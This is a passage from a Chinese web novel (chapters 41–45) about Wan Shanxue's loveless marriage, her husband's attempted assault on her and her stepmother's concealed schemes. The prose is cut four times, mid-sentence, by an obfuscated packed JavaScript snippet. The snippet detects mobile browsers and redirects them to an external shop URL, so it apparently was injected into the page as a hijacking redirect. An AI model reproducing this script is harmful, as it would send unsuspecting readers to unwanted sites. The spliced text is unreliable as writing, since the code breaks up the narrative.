直到这句话说出口，她才缓缓抬起眼来，什么也没有说。没有得胜的喜悦，只有看透世情之后的淡漠与疲惫。 猝不及防，崔明之握住了她的手，她如被火烫，用力挣扎，却被他抓得更紧，甚至扬起来给泪眼婆娑的乌思羽看。 只听他说道：“你以为我当初为何要娶你表嫂进门？” 万山雪能猜到他接下来要说什么，她恨不能自毁双耳双目，实在不想再看他的表演了，一点儿也不想。 乌思羽是放肆，他亦不无辜。若非从前待她不知分寸，想来这姑娘也不会陷得如此之深，一朝翻脸，又是另一番模样。 崔明之停顿了一下，掷地有声说道：“什么也不为，只因为，我心悦她。我，心甘情愿。” 乌思羽脸上的血色瞬间褪去，一张俏脸惨白如纸，失魂落魄地晃了几晃，终于咬牙撑住了，微微笑问道：“表哥说的，可都是真的？” 崔明之冷声道：“字字属实。回去闭门思过，没有我的允许，从今往后不许你踏进这院里半步，否则我即刻送你回家。” 乌思羽那包含屈辱和愤恨的呜咽声渐渐消失在廊庑尽头，房门内外陷入诡异的寂静里，直剩下烛光摇摇曳曳。 崔明之依旧紧紧牵着她的手不肯放开，她挣了几次，奈何挣不开，也就由他去了。 过了许久，他才蹲下身来，语气柔和地说道：“她说的那些浑话，你不要放在心上。” 万山雪淡淡笑道：“训也训了，歉也道了，我没那么小心眼。” 她忍了忍，终于还是忍不住吐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768409|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌尖上的话来：“我若这般计较起来，只怕进崔家第一年就气死了，还活得到如今么？” 崔明之一愣，她趁机抽出了手：“二爷今日喝了不少酒，早些安置吧。” 他默然半晌，低低地说道：“方才我让思羽跟你道歉，其实，最该道歉的是，是我。对不起，我从前……我没脸再提从前，都是我不好。” 他从怀里取出一个锦盒，打开递给她，里面是一支青白玉凤首步摇，玉色清透如冻泉，凤冠处嵌着一粒红宝石，凤口衔着三串流苏，每串都由七颗淡粉珍珠组成，在烛光下流转着温润的光泽。 “这是我特意为你挑的，买了好几日，没找到机会给你。”他靠得很近，带着酒气的呼吸炙热又暧昧。 “二爷是生意人，当知晓‘机不可失，失不再来’的道理。”她慢慢说道，“三年了，一千多个日日夜夜，二爷的歉意未免迟到太久了。” 崔明之急急地放下锦盒去握她的手，却被她轻巧躲开，他诚恳迫切地说道：“不晚，我们这样年轻，雪儿，只要你还愿意给我机会……” “我不愿意了。” 万山雪俯身看着他，又重复一遍：“我不愿意了，崔明之。这话我此前说过，只怕你以为是我欲擒故纵，那么今日我们便分说清楚。” 她的唇角勾起凄迷的笑意：“三年来，我给过你多少次机会，连我自己都数不清了。大婚之夜你将我扒得□□，而后轻蔑离开，留我独坐到天明。多少夜晚，我在花厅等你直到天明，换来的是你的白眼与嫌恶。人前人后，你说过多少剜我心肺的难听话，你怕是都不记得了，可我都没忘记过。” 她指着心口，痛得发抖：“它们都在这儿，日日夜夜帮着你一遍一遍地辱骂我，让我陷入深深的自我怀疑里。一面终日战战兢兢自省，一面拼了命地讨好你。这会儿来跟我说对不起，无论是因乌思羽逼你太甚，还是崔家长辈给你生育孩子的压力太大，又或只是因我舅舅归来，都不必了。崔二爷的歉意，我要不起，也不会要。” 她将那步摇递给他，他却不肯接，惶然摇头，眼里闪烁着泪光：“不是的，雪儿，不是这样的，只为我慢慢看清楚了自己的心。这一切都是我的罪孽，我不敢求你原谅，不敢求你如从前那样对我，往后的日子里，都由我来对你好，只求你不要推开我，好不好？” 他半跪在地上，语无伦次地说着，声音里带了呜咽。 万山雪只觉得心头憋了许久的怒火喷薄而出，再难用理智压抑，她用力将步摇摔在地上，一声脆响，迸溅满地碎片，如同一滩泪珠令人心颤。 崔明之愣愣地看着地上那支步摇，忽地扑了上来，将她牢牢圈在怀里，像是抓住了最后一根救命稻草，急切说道：“孩子，雪儿，我们要个孩子吧。有了孩子，一切都会不一样，没有人敢再为难你，有一个流着你我骨血的孩子，我们就能重新来过。” 42. 第 42 章 他的荒谬让万山雪几乎要发笑，可是眼中不顾一切的欲念却让她悚然吃惊，她死命地挣扎着：“我不愿意！崔明之，别让我看不起你！” “雪儿，你心仪我三四年，付出种种，只为盼我一回顾，而今我来了你却就此舍弃，不觉得可惜么？”他一手箍住她的腰肢，一手去扯她寝衣的束带。 “放开我，崔明之！” 万山雪拼尽全力地踢打撕扯，指甲划过他的脖颈，留下一道又一道长长的血痕，他却不知疼似的，手上的动作没有丝毫停顿。 他没耐心去解纽扣，伸手一扯，刺啦一声，夏日轻薄的衣料被轻易撕烂，露出里面的素色亵衣和莹润肌肤。 “总有一天你会明白我的心意，雪儿，我们一定会好的……”他喃喃着，像是给自己的癫狂寻找借口，俯身寻找她颤抖的唇。 “滚开！别碰我！”她尖叫着，屈辱和愤怒让她浑身发抖，她头一次意识到男女体力的悬殊，反抗显得如此徒劳可笑，“我厌恶你，也决不会留下有你骨血的孩子！” 崔明之怔住，继而冷笑道：“好，好，你真说得出口，有本事你就一个个亲手杀死他们，杀死你的亲骨肉。” 他如泄愤一般，狠狠地咬上她的肩头。 就在那时，万山雪不知道哪里生出一股力气，猛地屈起膝盖，狠狠地撞向他的小腹。 崔明之痛哼一声，钳制她的力道骤然松懈。 万山雪趁机从他身下溜走，光脚跳下床，跌跌撞撞奔向门口，低头看了看凌乱的衣衫，停住了脚步。她顺着墙壁滑坐到地面上，蜷缩着身体，将脸埋在双膝间，发出一阵阵呜咽。 崔明之弯着腰，亦靠着床坐下来急促喘气，不知过了多久，听到门外橘霜极小心地喊了一声：“奶奶，还好么？” 他站起身来整理好衣衫，又恢复了往日沉静的样子，说道：“去取止血药来，你们奶奶受伤了。” 他大步出去了。 橘霜与红璎急忙进来，听到她们惊呼，万山雪抬起泪眼，才发现方才踩到了簪子碎片上，脚底有斑斑血迹。 想到他脖颈上的道道血痕，她苦笑一声：“两败俱伤。” 两个丫头面面相觑，都不知说什么好。 次日清早，橘霜便到尤氏屋里说万山雪身体抱恙，故而不能请安云云。然而昨夜闹出那样大的动静，又如何瞒得过去？ 到了午后，尤氏便着人抬了竹轿来“请”万山雪过去。 她知道，若是当真不受让坐轿子去，尤氏又有好一番脸色看，左右脚底痛得也不十分厉害，便打算走过去。 转念一想，反正要挨骂，多两句少两句有什么分别？便坦然上了轿子。 正屋内，檀香袅袅。 尤氏端坐在上首的紫檀木雕花椅上，穿着一身赭石色团花薄褂，面色沉静，唇角还带着一抹笑意，倒没有万山雪想象中的怒气。 尤氏慢条斯理地拨动着手中的佛珠，目光落在请安后垂首站立的万山雪身上，吩咐人搬凳子给她。 “听说，昨夜你和明之闹得很不愉快？” “是儿媳不好，惹二爷动怒了。” “哦？”尤氏挑眉问道，“我怎么听说，是因为思羽那孩子多喝了几盏酒，说话不防头，惹得你心中不痛快，便拿自个儿夫君撒气？” 一样的舌头长在人家嘴里，怎么就那样好使呢？轻巧的几句话，将乌思羽洗脱得干干净净。万山雪暗自冷笑，沉默不语。 尤氏叹了口气，语重心长道：“我知道，从前许多时候是明之不好，他目睹我这些年守寡拉扯他的不易，故而一心一意扑在生意上，冷落你许多。你还年轻，有许多事看不明白。这男人啊，一辈子就是长不大的孩子，贪玩、心性不定，只以为娶媳妇是束缚了他，如今他既知道回头，学着去疼你，这就是好事。” 尤氏一扭头，珊瑚便捧着个盒子递给万山雪，里面是与昨晚崔明之给的一模一样的青白玉簪子。 “那支簪子，是金玉楼里新出的款式，他特特地买回来赠你，却被你使性子摔了，我又着人去买了一支，好好收着吧。”尤氏说道，“你是个聪明孩子，该懂得顺势而为。做丈夫的给了台阶，就别拿乔作势了，从此好生相处。夫妻哪有隔夜仇，总这么拧着，对谁都没有好处。” 见万山雪仍是垂着头不作声，尤氏有些不耐烦了：“我知道，你心里还委屈着。但与人相处，总要多看看好处。这三年来，明之从来不曾在外眠花卧柳，亦不曾纳妾入门，为你保住这正妻之位，不使你因无子而被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769073|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休弃，这份天大的恩情还抵不过气头上的几句闲话么？你莫要不知足，寒了他的心！” 天大的恩情？ 万山雪只觉得荒谬至极。 她抬眼看着尤氏，欲要辩驳几句，忽然间一个模糊的猜测浮上心头——正是，既然对她有诸多不满，为何不给崔明之纳妾？ 不独崔明之如此，急着抱孙子的尤氏竟也从不认真提纳妾之事，虽偶然拿这话来吓唬她，却从未真正行动过。 且昨夜之事有关子嗣，方才进来瞧见尤氏脸上不仅不着恼，似乎有些喜色？ 一个大胆的，近乎可怕的念头闪过。难道崔明之他…… 她压下心头的惊涛骇浪，再次垂下眼睫，带着认命般的无奈说道：“母亲教训的是。是儿媳愚钝，未能体会母亲与夫君的难处，未能尽到妻子之责。” 她有心探究虚实，深吸一口气恳切说道，“既如此，为了夫君，为了崔家，儿媳……恳请母亲，为明之纳表妹为贵妾，不，为妻也行，儿媳愿主动让贤，绝无怨言。” 她暗暗留心尤氏的神色，果然，她并没有如释重负的欣喜，脸色陡然一变，拨动佛珠的手指停顿了一下，而后厉声叱责道：“胡闹！” “这会子你俩置气，你撒气说句纳妾不打紧，若是我当真去办了，那时你才知厉害呢！” 尤氏走下来拍了拍她的肩头，一副推心置腹的知己模样说道：“你这孩子，娘家父亲忠贞，房里没有三妻四妾，你不知道这其中利害。你公公活着时，诸般都好，唯独在这件事上十分惹人气恼，整日左拥右抱，咱们娘俩说悄悄话，我不怕你笑话，那时候抱着明之流了多少眼泪，险些想不开。故而从娶你进门那天起，我就与明之说过，不到万不得已，决不许他纳妾。” 这话就很可疑，三年无子还不到万不得已之时么？她忽地想起夏大夫满是悲悯的眼神来。 尤氏重新坐回去：“再说思羽那孩子，她心底极好，也并不是非嫁明之不可的，只坏在见多识广上，总以为天下男人都是靠不住的，倒不如嫁给亲表哥来得踏实。纵然夫妻无情，到底还有这份亲情撑着。可是你想想，她年轻犯糊涂，咱们阖家也跟着犯傻么？叫人家好好的嫡长女来家里做妾？此事休要再提，我听了是不轻饶的！” 43. 第 43 章 五六日后的傍晚，微风已带了明显的凉意，卷着几片早凋的梧桐叶，打着旋儿落在阶前。万山雪正临窗读书，扭头看着窗外渐沉的暮色，心中一片萧索。 这时橘霜拿着一份书信进来了，是兰芬遣人送来的。 信中言辞恳切，请万山雪明日务必与他夫妇二人一道，去兰家走动走动。自然是期望兰中正能被亲妹妹遗下的骨血所打动，进而消了气，原谅那一日的招待不周。 信的末尾，兰芬说，打断骨头连着筋，总不能因这个小小的波折从此断了亲。 万山雪不看犹可，这一读只觉有股烈焰从心底猛蹿上来，气得三两下将信撕了几片扔在地上。 慌得红璎连忙捡起来，拼凑看了只言片语，亦咬牙恨声骂道：“不要脸！” 橘霜婉言劝道：“奶奶早知其为人，何必气坏了身子，想想应对法子才是。” 便是没有这封信，她也预备近日去舅舅家小住两日，一为道歉，二为陪伴。兰芬这信来得虽巧，只是明知是利用舅舅疼她的情分，若是应了，倒好像与他们成了一气的，她有些不情愿。 正沉吟时，珊瑚来了，说葛夫人登门拜访，此刻崔明之正在前厅接待，请她过去说话。 万山雪对葛家颇有好感，而今又兼着内疚，简直不知日后如何面对慈善的葛夫人，一听来访，虽极忐忑，还是立刻整理衣饰去了前厅。 寒暄过后，葛夫人便拉着万山雪的手，未语泪先流：“好孩子，我今日来絮烦你们，实在是没法子了。葛川那个孽障，自那日之后，便如同疯魔了一般，日日跪在你舅舅家门口，不吃不喝，只求雁歌原谅。你舅舅舅母几番遣人送他回去，他死活不肯，非要求雁歌见他一面。他说，他宁可跪死在那里，也绝不同意与……” 她看了一眼崔明之，不再往下说了，万山雪会意，反握住她的手安慰道：“夫人说的什么话，眼见令郎与表妹圆圆满满的一桩好婚事，转眼鸾飞凤离，我心中十分难安。这些日子闭门不出，非是漠不关心，实在不知该以什么面目见你们。夫人既不计前嫌屈尊下顾，心地何等宽大，又使我惭愧。如有我能尽微薄之力之处，夫人只管吩咐。” “那我便直说了。一来，我是想请你帮忙劝劝令妹，川儿是铁了心的闹，我担心他熬坏了身子又或者精神，可怎么好？便是按着头成了亲，往后难保不委屈令妹。再者，” 葛夫人忽然有些说不下去，哽着嗓子好一会儿才说道，“我们夫妇，当真是拿雁歌当自家女儿看待的。她本是天真活泼的性子，因兄长猝然离世变得敏感谨慎，好容易才对葛川敞开心扉，却让她受这天大的委屈，我心中委实放心不下，可又没脸去看她，你们姊妹感情极好，可否请你去宽慰她几句，你舅舅舅母只有她了，莫要让她哭坏了身子，为我们这个魔王，倒不值得。” 万山雪看着眼前这个为了儿子、也为了认定的儿媳满脸悲戚的妇人，心中百感交集。 她捧了一盏茶给葛夫人，柔和而坚定地说：“夫人，您的意思，我明白了。劝诫舍妹之事，我定然竭尽全力。雁歌妹妹与我虽聚少离多，感情却是极好的，她受了委屈，我心中之痛，不亚于夫人与公子。即便夫人今日不来，我也定会去好好陪陪她。这是我的本分，亦是姐妹情谊所在。” 葛夫人点点头，从袖中取出一封书信，交给崔明之：“拙夫在朝中听闻，崔公子去东洋运铜之事已经定下。他父子二人曾于东洋小住数次，与那边几位铜矿主事颇有交情，且精通倭语。这是拙夫的亲笔信，凭着它，崔家在东洋采购铜料，无论价格还是渠道，都能得到最大程度的便利，不敢说获利几何，总不至于叫崔家贴钱就是。此信聊表我们心意，万望笑纳。” 当真令人瞠目结舌，谁不知葛家父子这条便利路子，只是为免麻烦，葛大人早早放出话来，他乃朝堂官员，不牵商事，谁也不帮，那便谁也不得罪。 这算什么忙，要人家拿这样的大礼相赠？ 万山雪且不回应，留意崔明之的举动。这人当真是好命，别人踏破铁鞋无觅处的至宝，他不费吹灰之力就得来了。葛家这份“礼物”，可谓送到了崔家心坎上。 崔明之却十分平静，将那封信轻轻推了回来，说道：“世伯与伯母的深情厚谊，明之心领了。伯母所言，原是我们夫妇的分内之事，若以利换，反倒玷污了夫人待内子的情意。还请夫人收回厚礼。” “你既唤我一声伯母，就收下吧。便是没有这档子事，我们也预备要尽些微薄之力的。”葛夫人说道，“我与你们舅母、雪儿生母相交多年。敞开了说，给你崔家帮忙，为的是你家生意顺遂，雪儿过得更好。” 拉扯许久，见葛夫人态度坚决，知道再坚持便是薄了这份心意，崔明之只好将信收下，千恩万谢地送走了葛夫人。 时近深秋，天色醒得迟些。辰时三刻，窗外仍是灰蒙蒙的一片，如同浸了水的旧棉絮，沉甸甸地压在天际。几缕带着寒意的秋风，不甘寂寞地穿过庭院，更添几分萧瑟。 一整夜的梦里湿漉漉的，尽是兰雁歌的泪水。万山雪在床上呆呆坐了两刻钟，实在放心不下，决定与兰芬他们同去一趟。 她选了一身鸭蛋青云纹锦缎长裙，外罩一件浅灰暗花比甲，发髻绾得简单，只簪了一支素银簪子并几朵珍珠头花。 用过早膳，没多耽搁便出发了。 车轮碾过青石板路，发出规律而单调的轱辘声。万山雪靠在柔软的车壁引枕上，微微阖眼，却并无睡意。这些日子来的纷纷扰扰在眼前重叠浮现，心绪难宁。 行至桥头，瞧见万家马车已候在那里。 两车并驾，车窗相对，万山雪一眼看到父亲凝重疲惫的侧脸，以及兰芬那精心修饰过、却难掩焦躁的容颜。 兰芬招手道：“我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784648|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，真是难为你走这一趟了。” 她叹了口气，语气愈发沉痛，“绣儿这孩子……唉，总归是我做母亲的不够格。一想到待会儿见面，我就臊得没地方钻。待会儿就指着你了，好歹劝着你舅舅消消气，莫要因此伤了咱们两家的和气才是。” 万山雪隔着车窗，静静地看着他们长吁短叹，心中只余冰冷的漠然。她微微颔首：“女儿知道了，父亲母亲莫要忧心。” 车子再次启动，向着兰家府邸行去。 街市渐渐热闹起来，贩夫走卒的吆喝声、马车声、行人交谈声混杂在一起，充满了俗世的烟火气。 行至城中最为繁华的朱雀大街，兰芬吩咐马车稍停，命秋禾去桂香斋买些上好的糕点。 万山雪沉吟片刻，也唤过红璎：“你去玉容斋选两套他们店里最好的润肤香膏，用料必要上好的，不论价钱。” 红璎立刻领会，随即也下了车。 车队暂时停靠在路边。万有善夫妇没有下车，想来无心攀谈，万山雪乐得清闲，也独自坐在车内。 离兰家越近，她的心就揪得越紧。 上一次在兰家小住何等快乐，兰雁歌那双灵动的眼眸里还盛着对未来的憧憬与羞涩，她还在筹划着要给二人准备新婚礼物，而今回想起来，恍若一场不真切的好梦。 心头如同被巨石堵着，沉甸甸的透不过气来。这桩由万山绣一手拆散的孽缘，不见得真能成全她自个儿，伤害的又何止兰雁歌一人？ 约莫一炷香的功夫，红璎才匆匆回来。脸色分明有些异样。她手脚并用地钻进马车，也顾不得礼仪，立刻凑到万山雪耳边，压低了声音，气息都有些不稳：“奶奶，奶奶，方才在玉容斋门口，看到一件顶顶奇怪吓人的事！” 万山雪心知必有蹊跷，低声道：“莫慌，慢慢说。” 红璎深吸一口气，才说道：“我买完香膏出来，正巧看见、看见秋禾，被一个……像叫花子的哑巴女子给死死缠住了！” “说仔细些，那女子什么模样？” “那女子，”红璎打了个寒战，似乎单是回想就觉心悸，“穿着一身脏兮兮的粗布衣裙。我看到她手指好像不齐全，脖子上脸上都有些疤痕，不知道是大火烧的，还是滚油烫过，不行不行，我不敢想了。” “别怕，慢慢想想，还有什么细节不要漏掉。” “她是个哑巴，说不出完整的话，只能发出‘啊啊……嗬嗬……’的嘶鸣声，又难听又瘆人。可她力气却大得吓人，一双枯瘦得像鸡爪子的手，死死拽着秋禾的胳膊，那眼神……我说不清，好像两人有什么滔天的怨恨，恨不得从她身上咬下一块肉来！” 毁了容的哑巴女子……死死缠着秋禾……手指残缺……充满怨恨的眼神…… 这几个词来来回回在万山雪心里碰撞，忽地撞开了一个口子，她蓦然坐直了身子——花露！ 44. 第 44 章 其实这些日子以来，万山雪已将前后线索连猜带证地串了七七八八，只是没到千真万确那一步，总还是半信半疑。 可是她躲在车帘之后，清清楚楚地瞧见秋禾安安稳稳地走了回来。既没有寻常人被面容可怖的叫花子缠住的仓皇狼狈，亦没有半分厌恶后怕的神情。她就那样端庄平静地走过来，嘴边的笑容像是画笔勾勒出来的，无懈可击，连发丝都没有乱。 若非瞧见她裙裾上有几处遮不住的污糟，若不是提前红璎告知，任谁也不会想到她此前受过那样大的惊吓。 这就很可疑了。 她要隐瞒什么？又隐瞒给谁看？ 橘霜忍不住叹道：“咱们太太当真有手段，调理出来的人这样能承事儿，我自问不算毛躁的了，也决做不到如此平静。” 红璎亦是很奇怪：“遇见这样的事，还不得飞奔回来告知主子么？她怎会不声不响的，难不成那个人……” 她说着说着忽然张大了嘴巴，与橘霜对视一眼，倏然变色，惊恐地看向万山雪。 尽管万山雪心里已经确定了十分，没有十拿九稳之前，还是强行压下心中翻涌的惊涛骇浪，语气尽可能地维持着平淡，问道：“你看见秋禾时，秋禾瞧见你了么？” 红璎想了想，肯定地说：“没有，那会子看热闹的人很多，我被人挡在后面，她那会子惊惶无措，魂都飞了半个，无暇四顾。” “许是那女子神志不清，认错了人罢。此事莫要再对任何人提起，免得徒生事端，记住了吗？” 两个丫头点头如捣蒜应下了，她的心里却如三九天冰霜满地，凉得透透的。 一想到与崔明之议亲之前，那些情意绵绵的书信，字里行间充满着殷切关怀、少年慕艾与海誓山盟的话语，全都出自这个丫头之手，她就觉得自己活像个笑话。 那些精心伪装的信笺，一点点构建起虚幻的美梦，让她深信此生遇到良人，在满怀期待里披上嫁衣，奔向有苦难言的牢笼。 甚至当春草得知那些书信是花露传送进来之时，逼得兰芬下死手打了这丫头一顿，最后驱逐出府，她还于心不忍，几次求情。 原来是人家主仆二人联合上演的一出好戏。 只是不知道这中间出了什么岔子，花露身为兰芬的左膀右臂，怎会落到这样人不人、鬼不鬼的地步？难不成只是为了杀人灭口？ 秋禾如此强装平静，必然对当年之事心知肚明，知道不该露出马脚惹了她的注意。 万山雪重新靠回引枕上，透过车帘缝隙瞧着斜前方那辆徐徐行进的马车，暗自心惊。不知道平静之下，还藏了多少丑陋不堪的算计阴谋。 可是不要紧，有本事她兰芬就将狐狸尾巴藏一辈子，既没本事露出了线头，那她必然要连根拔起，昭告天下。 马车在兰家门前缓缓停稳。 万山雪才一下车，视线就被跪在大门前的那个身影攫住了，是葛川。 寥寥数日光景，这位昔日温文尔雅、风度翩翩的公子，竟像是被风霜雨雪摧折过后的花枝，形销骨立，憔悴得不成样子。 他身上的浅蓝色直裰皱皱巴巴的，下摆和膝盖处沾满了尘土，头上有两片枯叶，显然已在此跪了许久。脸色苍白，嘴唇因干渴而裂开了细小的血口，眼窝深陷，周遭是一圈浓重的青黑，唯有一双眼睛，执拗地、死死地盯着那扇将他隔绝在外的冰冷门扉，仿佛要用目光将其灼穿一个洞来。 万山雪的心像是被一只无形的手紧紧攥住，亲眼得见，她才知昨日葛夫人何以那样焦急。 葛川这般模样，那句“宁死不从”，绝非虚言。 她回过头去，万氏夫妇坐在车上一动不动，她真想冲过去质问兰芬：还好意思说这是“照顾不周，小小波折”么？ 有邻人走过，议论道：“这葛公子，真是痴心，每日天不亮就来跪在这儿，直到宵禁前才被葛家的人强行拖回去。日日如此，不吃不喝，就跟钉在这儿了似的。” “要说这兰家，心是真硬，这么多天了，硬是没给葛公子开过一回门，兰大人上朝也是目不斜视就走了，好像面前没有这个人似的。” “你这说的轻巧，刀子没扎你女儿身上……” 万山雪走近葛川，柔声劝道：“葛公子不必自苦，惹得父母担忧，表妹知道了心里也不好受。” 她见葛川不为所动，语气又加重了些说道：“葛公子日日跪在这里，外人看到的，不是公子的自责之心何等深切，而是我舅舅舅母何等狠心，表妹何等无情无义，丝毫不念两家世交之谊。” 葛川周身一动，缓缓抬眼看向她。干裂的嘴唇动了动，说出来的话已经嘶哑难辨，挣命重复一遍，万山雪才听清楚他说的是，“除了跪在这里，我不知道还能做什么。” 她一鼓作气说下去：“可公子必然确认无疑的是，他们此时是怎样的痛心难熬，却还要固执地跪在这里，让这一家子成为别人茶余饭后的谈资。从知道你们婚约那日起，我就拿你如亲弟弟一般看待，你既跟着雁歌唤我一声表姐，就听我的话，先回家去。” 葛川尚呆呆地望着她，眼神里满是茫然无措。 侍立一旁的葛家小厮们很是机灵，看出主子有所松动，立刻上来半劝半拉：“崔夫人说的很是啊，公子，咱们在这里只会让兰姑娘难堪。有夫人帮忙说情，姑娘定然会回心转意的。” 葛川摇摇晃晃地站起来，挣开他们到万山雪面前行了个大礼。 她避之不及，慌忙扶他起来：“公子休要如此，回家擅自珍重贵体。好好活着，万事方有转圜余地。” 直到葛川上了车远去，万有善和兰芬才下了车，默契地装作方才的事情没有发生，示意随从上前叩门。 “咚、咚、咚——”黄铜门环撞在厚重的木门上，发出闷响。随从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797905|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提高了嗓门，朗声通报：“万府老爷太太偕崔家二奶奶，特来拜访舅老爷与夫人，恳请开门一叙！” 门内依旧是一片死水般的沉寂，只有秋风卷过巷口，吹动落叶的沙沙声，像是在无声地嘲讽着门外的徒劳。 兰芬脸上的笑容僵硬了几分，她朝随从使了个眼色。 随从会意，再次叩门，声音放得更缓：“我家老爷太太说了，知道您二位心里有气！千错万错，都是我们万家的错！今日我们老爷夫人特地备了薄礼，前来赔罪，万望您二位看在血缘亲情上，容我们当面致歉……” 然而，任凭他如何巧舌如簧，那扇大门依旧严丝合缝，像一道无法逾越的鸿沟。 兰芬的脸色渐渐沉了下来，精心描画的柳眉蹙紧，嘴角那点勉力维持的笑意也彻底消失无踪。万有善站在她身侧，亦是面露窘迫，连连摇头叹息，一副束手无策的模样。 僵持了约莫一刻钟，气氛已然降到了冰点。兰芬终于失去了耐心，近乎赌气地说道：“罢了！既然哥嫂不肯相见，我们也不好强求。待哥嫂气消了再来负荆请罪吧！” 她指挥下人，将那些价值不菲的礼物——流光溢彩的苏杭绸缎、野山老参和灵芝，还有不知装着什么的十来个大礼盒并那几盒桂香斋的顶级糕点，一样一样堆放在了陈府大门前冰凉的石阶上。 万山雪亦将那两套玉容堂的礼品放在相距不远的地方。 随后又驻足等了两刻钟，始终不见任何动静。兰芬转身就走，万有善与女儿对视一眼，也无奈地跟了上去。 一行人气氛沉闷重新登上马车，刚刚驶出不远，后面却突然传来一阵急促的脚步声和略显苍老却中气十足的呼喊：“留步！前面的马车请留步！” 马车停下，万山雪掀开车帘向后望去，只见那位在兰家忙活了半辈子的中年管家，正带着几个年轻力壮的小厮，气喘吁吁地追了上来，将万家堆放在石阶上的那些贵重礼物，原封不动、一件不落地全部搬到了车驾前，整齐地码放好。 “万老爷，太太，”管家还保持着基本礼节，但却客气疏离极了，“我家老爷太太让老奴代为传话：您二位的心意，他们心领了。但这些厚礼，实在承受不起。原物奉还，还请务必收回。” 兰芬脸皮瞬间涨得通红，继而转为铁青，胸口剧烈起伏，握着帕子的手直发抖，万有善亦是满面羞惭，连连以袖拭额，仿佛那上面有擦不尽的虚汗。 管家朝这边走来，红璎低声道：“奶奶，好像没退回咱们的礼。” 橘霜有些忐忑：“该不会跟他们的放一起了吧？” 老管家的腰微微弯了下去，神情也温和许多：“崔二奶奶，您送的礼物，我家太太和姑娘已经收下了，特命老奴当面向您致谢。说二奶奶若是不忙着回去，不如小住些日子说说话。” 这番话，声音不高，却清晰地传入了在场每一个人的耳中。 45. 第 45 章 场面一时寂静得可怕。 不用看，万山雪也能想象到父亲和继母此刻是何等的难堪愤怒。 她下了车子，见兰芬面上虽仍是平静如常，扶着窗边的手指关节可都发了白。万有善半垂着头，沮丧至极。 她款款说道：“事已至此，父亲母亲不必过于焦灼烦忧。舅舅舅母正在气头上，心结非一日可解，一时难以转圜，亦是人之常情。” 她顿了顿，目光扫过那些被退回的礼物，“今日他们既然肯收下女儿送的香膏，哪怕只是看在往日的情分上，总归是留了个口子，也说明心里并非真的打算与我们万家恩断义绝。” 见兰芬仍是不住叹气，她咽下心头不适，挽住她的手臂故作轻松道：“母亲如此愁眉不展，是为舅舅舅母态度强硬，还是想着我已经嫁为人妇，代表不了万家？” 几句话说得兰芬没好气笑道：“你这孩子，什么时候学得这样贫嘴。我只是难过，从来没想到，分明是一家子骨肉，你大舅舅划分得这样清楚……” 万山雪忙道：“这可是母亲自寻烦恼了。舅舅只是不好意思对我们做晚辈的撒气，换个比方，就如我在婆母跟前儿，无论如何也不可能似在您面前这般放诞无礼。亲疏远近，母亲还看不明白么？我往后常来走动走动，寻机开解劝慰。待舅舅舅母怒气稍稍平息，心防松动些，母亲再带着妹妹，备上十二分的诚意，亲自前来道歉也不晚。舅母同母亲一样，心软慈善，那时必然就好了。眼下，还需耐些性子。” 万有善闻言，仿佛抓住了一根救命稻草，连连点头：“雪儿说得是，此事还需从长计议，急不得啊！” 万山雪静静地看着父亲，从她一丝一缕盘剥真相时，父亲在她心里的形象就一点点矮下去了。 兰芬的所作所为，父亲究竟是全然被蒙在鼓里，还是知道蛛丝马迹，却觉得无所谓。 个中意味，经不起深想。 兰芬叹气说道：“只得如此，好孩子，辛苦你了。” 万山雪目送他们走远，轻声吩咐车夫调转方向，再次朝着兰府驶去。 踏入熟悉的庭院，绕过影壁，万山雪心中百感交集，步履也格外沉重。院子里的花草因霜凋零，蔫头耷脑，与上次来的满园生机截然相反。泪水便再难禁，汪了满眶。 兰中正与黄夫人坐在花厅的正座上，两人脸上都带着难以掩饰的沉郁疲惫，黄夫人的眼圈更是红肿得厉害，不知背着人哭了多少场。 